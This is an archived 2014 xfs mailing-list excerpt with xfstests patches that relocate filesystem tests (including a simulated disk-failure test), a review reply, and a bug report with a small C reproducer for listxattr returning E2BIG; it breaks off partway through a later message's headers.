-Write forwards sync leaving holes - defrag should do nothing -Before: 16 -After: 16 diff --git a/tests/shared/305 b/tests/shared/305 deleted file mode 100755 index 8e8b0cb..0000000 --- a/tests/shared/305 +++ /dev/null @@ -1,187 +0,0 @@ -#! /bin/bash -# FSQA Test No. 305 -# -# Run fsstress and fio(dio/aio and mmap) and simulate disk failure -# check filesystem consistency at the end. -# -#----------------------------------------------------------------------- -# (c) 2013 Dmitry Monakhov -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation. -# -# This program is distributed in the hope that it would be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write the Free Software Foundation, -# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -# -#----------------------------------------------------------------------- -# - -seq=`basename $0` -seqres=$RESULT_DIR/$seq -echo "QA output created by $seq" - -here=`pwd` -tmp=/tmp/$$ -fio_config=$tmp.fio -status=1 # failure is the default! - -# get standard environment, filters and checks -. ./common/rc -. ./common/filter -_supported_fs ext3 ext4 xfs btrfs reiserfs -_supported_os Linux -_need_to_be_root -_require_scratch -_require_fail_make_request - -# TODO: Function are common enough to be moved to common/blkdev -SCRATCH_REAL_DEV=`readlink -f $SCRATCH_DEV` -SCRATCH_BDEV=`basename $SCRATCH_REAL_DEV` - -allow_fail_make_request() -{ - echo "Allow global fail_make_request feature" - echo 100 > $DEBUGFS_MNT/fail_make_request/probability - echo 9999999 > $DEBUGFS_MNT/fail_make_request/times - echo 0 > /sys/kernel/debug/fail_make_request/verbose -} - -disallow_fail_make_request() -{ - echo "Disallow global fail_make_request feature" - echo 0 > $DEBUGFS_MNT/fail_make_request/probability - echo 0 > $DEBUGFS_MNT/fail_make_request/times -} - -start_fail_scratch_dev() -{ - echo "Force SCRATCH_DEV device failure" - echo " echo 1 > /sys/block/$SCRATCH_BDEV/make-it-fail" >> $seqres.full - echo 1 > /sys/block/$SCRATCH_BDEV/make-it-fail - -} - -stop_fail_scratch_dev() -{ - echo "Make SCRATCH_DEV device operable again" - echo " echo 0 > /sys/block/$SCRATCH_BDEV/make-it-fail" >> $seqres.full - echo 0 > /sys/block/$SCRATCH_BDEV/make-it-fail - -} - -_cleanup() -{ - poweron_scratch_dev - disallow_fail_make_request - rm -f $tmp.* -} -trap "_cleanup; exit \$status" 1 2 3 15 - -RUN_TIME=$((20+10*$TIME_FACTOR)) -NUM_JOBS=$((4*LOAD_FACTOR)) -BLK_DEV_SIZE=`blockdev --getsz $SCRATCH_DEV` -FILE_SIZE=$((BLK_DEV_SIZE * 512)) - -cat >$fio_config <> $seqres.full - $FSSTRESS_PROG $args > /dev/null 2>&1 & - fs_pid=$! - echo "Start fio.." - cat $fio_config >> $seqres.full - $FIO_PROG $fio_config >> $seqres.full 2>&1 & - fio_pid=$! - - # Let's it work for awhile, and force device failure - sleep $RUN_TIME - start_fail_scratch_dev - # After device turns in to failed state filesystem may yet not know about - # that so buffered write(2) may succeed, but any integrity operations - # such as (sync, fsync, fdatasync, direct-io) should fail. - dd if=/dev/zero of=$SCRATCH_MNT/touch_failed_filesystem count=1 bs=4k conv=fsync \ - >> $seqres.full 2>&1 && \ - _fail "failed: still able to perform integrity fsync on $SCRATCH_MNT" - - kill $fs_pid - wait $fs_pid - wait $fio_pid - - # We expect that broken FS still can be umounted - run_check umount $SCRATCH_DEV - # Once filesystem was umounted no one is able to write to block device - # It is now safe to bring device back to normal state - stop_fail_scratch_dev - - # In order to check that filesystem is able to recover journal on mount(2) - # perform mount/umount, after that all errors should be fixed - run_check _scratch_mount - run_check _scratch_unmount - _check_scratch_fs -} - -# real QA test starts here - -_scratch_mkfs >> $seqres.full 2>&1 || _fail "mkfs failed" -_scratch_mount || _fail "mount failed" -allow_fail_make_request -_workout -status=$? -disallow_fail_make_request -exit diff --git a/tests/shared/305.out b/tests/shared/305.out deleted file mode 100644 index 1e8cfd6..0000000 --- a/tests/shared/305.out +++ /dev/null @@ -1,9 +0,0 @@ -QA output created by 305 -Allow global fail_make_request feature - -Start fsstress.. - -Start fio.. -Force SCRATCH_DEV device failure -Make SCRATCH_DEV device operable again -Disallow global fail_make_request feature diff --git a/tests/shared/group b/tests/shared/group index 29f17b0..1c6fffb 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -3,17 +3,9 @@ # - do not start group names with a digit # - comment line before each group is "new" description # -001 auto quick prealloc -002 auto quick prealloc -003 auto quick prealloc -004 auto quick prealloc -005 auto prealloc 032 mkfs auto quick 051 acl udf auto quick -218 auto fsr quick 243 auto quick prealloc 272 auto enospc rw 289 auto quick 298 auto trim -305 aio dangerous enospc rw stress - -- 1.8.3.1 From lczerner@redhat.com Tue Mar 25 18:44:10 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EAC5D29DF8 for ; Tue, 25 Mar 2014 18:44:09 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6D53FAC001 for ; Tue, 25 Mar 2014 16:44:09 -0700 (PDT) X-ASG-Debug-ID: 1395791047-04cbb054b6736d60001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ov05qAdoU1sGH5ly for ; Tue, 25 Mar 2014 16:44:07 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2PNi6NV016315 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 25 Mar 2014 19:44:06 -0400 Received: from localhost.localdomain.com (vpn1-6-254.ams2.redhat.com [10.36.6.254]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2PNi1Ko015959; Tue, 25 Mar 2014 19:44:05 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: Lukas Czerner Subject: [PATCH 2/2 v2] xfstests: Make shared/243 ext4 specific Date: Wed, 26 Mar 2014 00:43:58 +0100 X-ASG-Orig-Subj: [PATCH 2/2 v2] xfstests: Make shared/243 ext4 specific Message-Id: <1395791038-22468-2-git-send-email-lczerner@redhat.com> In-Reply-To: <1395791038-22468-1-git-send-email-lczerner@redhat.com> References: <1395791038-22468-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395791047 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The test shared/243 really is ext4 specific even though currently we would run it on other file systems as well, it would not actually do any testing. So move it to ext4 specific directory and rename it to 002. Signed-off-by: Lukas Czerner --- v2: nothing changed tests/ext4/002 | 180 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/ext4/002.out | 13 ++++ tests/ext4/group | 1 + tests/shared/243 | 180 --------------------------------------------------- tests/shared/243.out | 13 ---- tests/shared/group | 1 - 6 files changed, 194 insertions(+), 194 deletions(-) create mode 100755 tests/ext4/002 create mode 100644 tests/ext4/002.out delete mode 100755 tests/shared/243 delete mode 100644 tests/shared/243.out diff --git a/tests/ext4/002 b/tests/ext4/002 new file mode 100755 index 0000000..12be253 --- /dev/null +++ b/tests/ext4/002 @@ -0,0 +1,180 @@ +#! /bin/bash +# FS QA Test No. ext4/002 +# +# Test to ensure that the EOFBLOCK_FL gets set/unset correctly. +# +# As found by Theodore Ts'o: +# If a 128K file is falloc'ed using the KEEP_SIZE flag, and then +# write exactly 128K, the EOFBLOCK_FL doesn't get cleared correctly. +# This is bad since it forces e2fsck to complain about that inode. +# If you have a large number of inodes that are written with fallocate +# using KEEP_SIZE, and then fill them up to their expected size, +# e2fsck will potentially complain about a _huge_ number of inodes. +# This would also cause a huge increase in the time taken by e2fsck +# to complete its check. +# +# Test scenarios covered: +# 1. Fallocating X bytes and writing Y (YX) (buffered and direct io) +# +# These test cases exercise the normal and edge case conditions using +# falloc (and KEEP_SIZE). +# +# Ref: http://thread.gmane.org/gmane.comp.file-systems.ext4/20682 +# +#----------------------------------------------------------------------- +# Copyright (c) 2010 Google, Inc. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +# Test specific macros. +BIT_NOT_SET=0 # inode flag - 0x400000 bit is not set. +BIT_SET=1 # inode flag - 0x400000 bit is set. + +# Generic test cleanup function. +_cleanup() +{ + cd / + rm -f $tmp.* +} + +# Ext4 uses the EOFBLOCKS_FL bit when fallocating blocks with KEEP_SIZE +# enabled. The only time this bit should be set is when extending the allocated +# blocks further than what the i_size represents. In the situations wherein the +# i_size covers all allocated blocks, this bit should be cleared. + +# Checks the state of the sample file in the filesystem and returns whether +# the inode flag 0x400000 is set or not. +_check_ext4_eof_flag() +{ + # Check whether EOFBLOCK_FL is set. + # For ext4 filesystems: use debugfs to check if EOFBLOCKS_FL is set. + # Other filesystems: do nothing. The default fsck at the end of the test + # should catch any potential errors. + if [ "${FSTYP}" == "ext4" ]; then + bit_set=1 + + # Unmount the ${TEST_DEV} + umount ${TEST_DEV} + + # Run debugfs to gather file_parameters - specifically iflags. + file_params=`debugfs ${TEST_DEV} -R "stat ${1}" 2>&1 | grep -e Flags:` + iflags=${file_params#*Flags: } + + # Ensure that the iflags value was parsed correctly. + if [ -z ${iflags} ]; then + echo "iFlags value was not parsed successfully." >> $seqres.full + status=1 + exit ${status} + fi + + # Check if EOFBLOCKS_FL is set. + if ((${iflags} & 0x400000)); then + echo "EOFBLOCK_FL bit is set." >> $seqres.full + bit_set=1 + else + echo "EOFBLOCK_FL bit is not set." >> $seqres.full + bit_set=0 + fi + + # Check current bit state to expected value. + if [ ${bit_set} -ne ${2} ]; then + echo "Error: Current bit state incorrect." >> $seqres.full + status=1 + exit ${status} + fi + + # Mount the ${TEST_DEV} + mount ${TEST_DEV} -t ${FSTYP} ${TEST_DIR} + fi +} + +# Get standard environment, filters and checks. +. ./common/rc +. ./common/filter + +# Prerequisites for the test run. +_supported_fs ext4 +_supported_os Linux +_require_xfs_io_falloc + +# Real QA test starts here. +rm -f $seqres.full + +# Remove any leftover files from last run. +rm -f ${TEST_DIR}/test_? + +# Begin test cases. +echo "Test 1: Fallocate 40960 bytes and write 4096 bytes (buffered io)." \ + >> $seqres.full +${XFS_IO_PROG} -f \ + -c 'falloc -k 0 40960' \ + -c 'pwrite 0 4096' \ + ${TEST_DIR}/test_1 | _filter_xfs_io_unique +_check_ext4_eof_flag test_1 ${BIT_SET} + +echo "Test 2: Fallocate 40960 bytes and write 4096 bytes (direct io)." \ + >> $seqres.full +${XFS_IO_PROG} -f -d \ + -c 'falloc -k 0 40960' \ + -c 'pwrite 0 4096' \ + ${TEST_DIR}/test_2 | _filter_xfs_io_unique +_check_ext4_eof_flag test_2 ${BIT_SET} + +echo "Test 3: Fallocate 40960 bytes and write 40960 bytes (buffered io)." \ + >> $seqres.full +${XFS_IO_PROG} -f \ + -c 'falloc -k 0 40960' \ + -c 'pwrite 0 40960' \ + ${TEST_DIR}/test_3 | _filter_xfs_io_unique +_check_ext4_eof_flag test_3 ${BIT_NOT_SET} + +echo "Test 4: Fallocate 40960 bytes and write 40960 bytes (direct io)." \ + >> $seqres.full +${XFS_IO_PROG} -f -d \ + -c 'falloc -k 0 40960' \ + -c 'pwrite 0 40960' \ + ${TEST_DIR}/test_4 | _filter_xfs_io_unique +_check_ext4_eof_flag test_4 ${BIT_NOT_SET} + +echo "Test 5: Fallocate 128k, seek 256k and write 4k block (buffered io)." \ + >> $seqres.full +${XFS_IO_PROG} -f \ + -c 'falloc -k 0 128k' \ + -c 'pwrite 256k 4k' \ + ${TEST_DIR}/test_5 | _filter_xfs_io_unique +_check_ext4_eof_flag test_5 ${BIT_NOT_SET} + +echo "Test 6: Fallocate 128k, seek to 256k and write a 4k block (direct io)." \ + >> $seqres.full +${XFS_IO_PROG} -f -d \ + -c 'falloc -k 0 128k' \ + -c 'pwrite 256k 4k' \ + ${TEST_DIR}/test_6 | _filter_xfs_io_unique +_check_ext4_eof_flag test_6 ${BIT_NOT_SET} + +status=0 +exit ${status} diff --git a/tests/ext4/002.out b/tests/ext4/002.out new file mode 100644 index 0000000..3dcca87 --- /dev/null +++ b/tests/ext4/002.out @@ -0,0 +1,13 @@ +QA output created by 002 +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 40960/40960 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 40960/40960 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 262144 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 4096/4096 bytes at offset 262144 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) diff --git a/tests/ext4/group b/tests/ext4/group index dd2841e..7e66035 100644 --- a/tests/ext4/group +++ b/tests/ext4/group @@ -4,6 +4,7 @@ # - comment line before each group is "new" description # 001 auto prealloc quick +002 auto quick prealloc 271 auto rw quick 301 aio dangerous ioctl rw stress 302 aio dangerous ioctl rw stress diff --git a/tests/shared/243 b/tests/shared/243 deleted file mode 100755 index e0f2db2..0000000 --- a/tests/shared/243 +++ /dev/null @@ -1,180 +0,0 @@ -#! /bin/bash -# FS QA Test No. 243 -# -# Test to ensure that the EOFBLOCK_FL gets set/unset correctly. -# -# As found by Theodore Ts'o: -# If a 128K file is falloc'ed using the KEEP_SIZE flag, and then -# write exactly 128K, the EOFBLOCK_FL doesn't get cleared correctly. -# This is bad since it forces e2fsck to complain about that inode. -# If you have a large number of inodes that are written with fallocate -# using KEEP_SIZE, and then fill them up to their expected size, -# e2fsck will potentially complain about a _huge_ number of inodes. -# This would also cause a huge increase in the time taken by e2fsck -# to complete its check. -# -# Test scenarios covered: -# 1. Fallocating X bytes and writing Y (YX) (buffered and direct io) -# -# These test cases exercise the normal and edge case conditions using -# falloc (and KEEP_SIZE). -# -# Ref: http://thread.gmane.org/gmane.comp.file-systems.ext4/20682 -# -#----------------------------------------------------------------------- -# Copyright (c) 2010 Google, Inc. All Rights Reserved. -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation. -# -# This program is distributed in the hope that it would be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write the Free Software Foundation, -# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -#----------------------------------------------------------------------- -# - -seq=`basename $0` -seqres=$RESULT_DIR/$seq -echo "QA output created by $seq" - -here=`pwd` -tmp=/tmp/$$ -status=1 # failure is the default! -trap "_cleanup; exit \$status" 0 1 2 3 15 - -# Test specific macros. -BIT_NOT_SET=0 # inode flag - 0x400000 bit is not set. -BIT_SET=1 # inode flag - 0x400000 bit is set. - -# Generic test cleanup function. -_cleanup() -{ - cd / - rm -f $tmp.* -} - -# Ext4 uses the EOFBLOCKS_FL bit when fallocating blocks with KEEP_SIZE -# enabled. The only time this bit should be set is when extending the allocated -# blocks further than what the i_size represents. In the situations wherein the -# i_size covers all allocated blocks, this bit should be cleared. - -# Checks the state of the sample file in the filesystem and returns whether -# the inode flag 0x400000 is set or not. -_check_ext4_eof_flag() -{ - # Check whether EOFBLOCK_FL is set. - # For ext4 filesystems: use debugfs to check if EOFBLOCKS_FL is set. - # Other filesystems: do nothing. The default fsck at the end of the test - # should catch any potential errors. - if [ "${FSTYP}" == "ext4" ]; then - bit_set=1 - - # Unmount the ${TEST_DEV} - umount ${TEST_DEV} - - # Run debugfs to gather file_parameters - specifically iflags. - file_params=`debugfs ${TEST_DEV} -R "stat ${1}" 2>&1 | grep -e Flags:` - iflags=${file_params#*Flags: } - - # Ensure that the iflags value was parsed correctly. - if [ -z ${iflags} ]; then - echo "iFlags value was not parsed successfully." >> $seqres.full - status=1 - exit ${status} - fi - - # Check if EOFBLOCKS_FL is set. - if ((${iflags} & 0x400000)); then - echo "EOFBLOCK_FL bit is set." >> $seqres.full - bit_set=1 - else - echo "EOFBLOCK_FL bit is not set." >> $seqres.full - bit_set=0 - fi - - # Check current bit state to expected value. - if [ ${bit_set} -ne ${2} ]; then - echo "Error: Current bit state incorrect." >> $seqres.full - status=1 - exit ${status} - fi - - # Mount the ${TEST_DEV} - mount ${TEST_DEV} -t ${FSTYP} ${TEST_DIR} - fi -} - -# Get standard environment, filters and checks. -. ./common/rc -. ./common/filter - -# Prerequisites for the test run. -_supported_fs ext4 xfs btrfs gfs2 -_supported_os Linux -_require_xfs_io_falloc - -# Real QA test starts here. -rm -f $seqres.full - -# Remove any leftover files from last run. -rm -f ${TEST_DIR}/test_? - -# Begin test cases. -echo "Test 1: Fallocate 40960 bytes and write 4096 bytes (buffered io)." \ - >> $seqres.full -${XFS_IO_PROG} -f \ - -c 'falloc -k 0 40960' \ - -c 'pwrite 0 4096' \ - ${TEST_DIR}/test_1 | _filter_xfs_io_unique -_check_ext4_eof_flag test_1 ${BIT_SET} - -echo "Test 2: Fallocate 40960 bytes and write 4096 bytes (direct io)." \ - >> $seqres.full -${XFS_IO_PROG} -f -d \ - -c 'falloc -k 0 40960' \ - -c 'pwrite 0 4096' \ - ${TEST_DIR}/test_2 | _filter_xfs_io_unique -_check_ext4_eof_flag test_2 ${BIT_SET} - -echo "Test 3: Fallocate 40960 bytes and write 40960 bytes (buffered io)." \ - >> $seqres.full -${XFS_IO_PROG} -f \ - -c 'falloc -k 0 40960' \ - -c 'pwrite 0 40960' \ - ${TEST_DIR}/test_3 | _filter_xfs_io_unique -_check_ext4_eof_flag test_3 ${BIT_NOT_SET} - -echo "Test 4: Fallocate 40960 bytes and write 40960 bytes (direct io)." \ - >> $seqres.full -${XFS_IO_PROG} -f -d \ - -c 'falloc -k 0 40960' \ - -c 'pwrite 0 40960' \ - ${TEST_DIR}/test_4 | _filter_xfs_io_unique -_check_ext4_eof_flag test_4 ${BIT_NOT_SET} - -echo "Test 5: Fallocate 128k, seek 256k and write 4k block (buffered io)." \ - >> $seqres.full -${XFS_IO_PROG} -f \ - -c 'falloc -k 0 128k' \ - -c 'pwrite 256k 4k' \ - ${TEST_DIR}/test_5 | _filter_xfs_io_unique -_check_ext4_eof_flag test_5 ${BIT_NOT_SET} - -echo "Test 6: Fallocate 128k, seek to 256k and write a 4k block (direct io)." \ - >> $seqres.full -${XFS_IO_PROG} -f -d \ - -c 'falloc -k 0 128k' \ - -c 'pwrite 256k 4k' \ - ${TEST_DIR}/test_6 | _filter_xfs_io_unique -_check_ext4_eof_flag test_6 ${BIT_NOT_SET} - -status=0 -exit ${status} diff --git a/tests/shared/243.out b/tests/shared/243.out deleted file mode 100644 index 290a005..0000000 --- a/tests/shared/243.out +++ /dev/null @@ -1,13 +0,0 @@ -QA output created by 243 -wrote 4096/4096 bytes at offset 0 -XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) -wrote 4096/4096 bytes at offset 0 -XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) -wrote 40960/40960 bytes at offset 0 -XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) -wrote 40960/40960 bytes at offset 0 -XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) -wrote 4096/4096 bytes at offset 262144 -XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) -wrote 4096/4096 bytes at offset 262144 -XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) diff --git a/tests/shared/group b/tests/shared/group index 1c6fffb..2165aac 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -5,7 +5,6 @@ # 032 mkfs auto quick 051 acl udf auto quick -243 auto quick prealloc 272 auto enospc rw 289 auto quick 298 auto trim -- 1.8.3.1 From lczerner@redhat.com Tue Mar 25 19:02:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3F4727F3F for ; Tue, 25 Mar 2014 19:02:05 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1F122304075 for ; Tue, 25 Mar 2014 17:02:02 -0700 (PDT) X-ASG-Debug-ID: 1395792120-04bdf05dac9443d0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 5AWGyBJcL8uW8yhh for ; Tue, 25 Mar 2014 17:02:01 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2Q01wxv027833 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 25 Mar 2014 20:01:58 -0400 Received: from vpn1-6-254.ams2.redhat.com (vpn1-6-254.ams2.redhat.com [10.36.6.254]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2Q01sEb021943 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 25 Mar 2014 20:01:56 -0400 Date: Wed, 26 Mar 2014 01:01:53 +0100 (CET) From: =?ISO-8859-15?Q?Luk=E1=A8_Czerner?= X-X-Sender: lczerner@localhost.localdomain To: Dave Chinner cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/2] xfstests: Make some shared tests generic In-Reply-To: <20140325224546.GI18572@destitution> X-ASG-Orig-Subj: Re: [PATCH 1/2] xfstests: Make some shared tests generic Message-ID: References: <1395781911-13084-1-git-send-email-lczerner@redhat.com> <20140325224546.GI18572@destitution> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395792121 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Wed, 26 Mar 2014, Dave Chinner wrote: > Date: Wed, 26 Mar 2014 09:45:46 +1100 > From: Dave Chinner > To: Lukas Czerner > Cc: xfs@oss.sgi.com > Subject: Re: [PATCH 1/2] xfstests: Make some shared tests generic > > On Tue, Mar 25, 2014 at 10:11:50PM +0100, Lukas Czerner wrote: > > There are couple of tests in shared directory which really should be > > made generic, so move it. It is mostly collapse range tests, which > > really can be generic to make super we test every file system which adds > > collapse range support. > > > > Here is what we're moving in this commit. > > > > shared/001 -> generic/004 > > shared/002 -> generic/009 > > shared/003 -> generic/012 > > shared/004 -> generic/016 > > shared/005 -> generic/017 > > shared/218 -> generic/018 > > shared/305 -> generic/019 > > > > Signed-off-by: Lukas Czerner > > --- > .... > > tests/shared/group | 8 --- > > 30 files changed, 865 insertions(+), 866 deletions(-) > > create mode 100755 tests/generic/004 > > create mode 100644 tests/generic/004.out > > create mode 100644 tests/generic/009 > > create mode 100644 tests/generic/009.out > > create mode 100644 tests/generic/012 > > create mode 100644 tests/generic/012.out > > create mode 100644 tests/generic/016 > > create mode 100644 tests/generic/016.out > > create mode 100644 tests/generic/017 > > create mode 100644 tests/generic/017.out > > Looks fine at a quick glance, but can you fix the modes on these > test files (009,012...) while you are moving them? Already sent. Thanks! -Lukas > > Cheers, > > Dave. > > From sage@inktank.com Wed Mar 26 00:48:19 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5E5357F3F for ; Wed, 26 Mar 2014 00:48:19 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id DF6CDAC002 for ; Tue, 25 Mar 2014 22:48:15 -0700 (PDT) X-ASG-Debug-ID: 1395812889-04cbb054b7761200001-NocioJ Received: from cobra.newdream.net (cobra.newdream.net [66.33.216.30]) by cuda.sgi.com with ESMTP id wKQqSEIIIfDW1r19 for ; Tue, 25 Mar 2014 22:48:10 -0700 (PDT) X-Barracuda-Envelope-From: sage@inktank.com X-Barracuda-Apparent-Source-IP: 66.33.216.30 Received: from cobra.newdream.net (localhost [127.0.0.1]) by cobra.newdream.net (Postfix) with ESMTP id 024FE8002D for ; Tue, 25 Mar 2014 22:48:09 -0700 (PDT) Received: by cobra.newdream.net (Postfix, from userid 1031) id CAA60803BC; Tue, 25 Mar 2014 22:48:08 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by cobra.newdream.net (Postfix) with ESMTP id B19FC8002D for ; Tue, 25 Mar 2014 22:48:08 -0700 (PDT) Date: Tue, 25 Mar 2014 22:48:08 -0700 (PDT) From: Sage Weil X-X-Sender: sage@cobra.newdream.net To: xfs@oss.sgi.com Subject: E2BIG from listxattr Message-ID: X-ASG-Orig-Subj: E2BIG from listxattr User-Agent: Alpine 2.00 (DEB 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Barracuda-Connect: cobra.newdream.net[66.33.216.30] X-Barracuda-Start-Time: 1395812889 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4253 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi, If you create a bunch of xattrs on an inode, you can get into a sitation where you can no longer list them. The reproducer below just does setxattr until it gets an error or listxattr starts returning E2BIG. Once you're in this state you can getxattr attrs you know the name of, but you can't list them, which is a bit inconvenient. Presumably the fix is for setxattr to verify that the list of all xattr names will fit into a 64K buffer or else return ENOSPC... sage #include #include #include #include #include #include int main(int argc, char **argv) { char *fn = argv[1]; char buf[655360]; int buflen = sizeof(buf); int i; for (i = 0; i < 10000; ++i) { int r = listxattr(fn, buf, buflen); if (r < 0) { perror("listxattr"); return 1; } char n[100]; sprintf(n, "user.foooooooooooooooooooooooooooooooooooooo%d", i); r = setxattr(fn, n, "", 0, 0); if (r < 0) { perror("setxattr"); return 1; } printf("set %d\n", i); } return 0; } From jpbaugus@ns1.bing.com Wed Mar 26 07:04:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.3 required=5.0 tests=FREEMAIL_FROM,FREEMAIL_REPLYTO, FREEMAIL_REPLYTO_END_DIGIT autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 28F9F7F3F for ; Wed, 26 Mar 2014 07:04:23 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by 